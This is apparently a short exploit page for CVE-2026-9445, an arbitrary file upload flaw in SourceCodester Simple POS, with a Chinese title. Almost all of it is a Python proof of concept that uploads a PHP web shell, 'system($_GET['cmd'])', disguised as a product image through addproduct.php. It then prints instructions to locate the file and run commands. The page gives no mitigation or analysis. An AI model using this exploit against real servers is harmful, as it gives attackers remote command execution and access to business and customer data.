CVE-2026-9445 SourceCodester Simple POS任意文件上传漏洞

import requests # Target URL url = "http://target.com/admin/addproduct.php" # Malicious PHP shell content php_shell = "<?php system($_GET['cmd']); ?>" # Prepare the payload with a PHP extension files = { 'image': ('exploit.php', php_shell, 'application/octet-stream') } # Additional form data if required data = { 'product_name': 'Hacked Product', 'price': '0' } # Send the POST request # Note: Valid session cookies or authentication tokens may be required based on PR:L response = requests.post(url, files=files, data=data) if response.status_code == 200: print("[+] Payload uploaded successfully!") print("[+] Check the uploaded file path to execute commands.") else: print("[-] Upload failed.")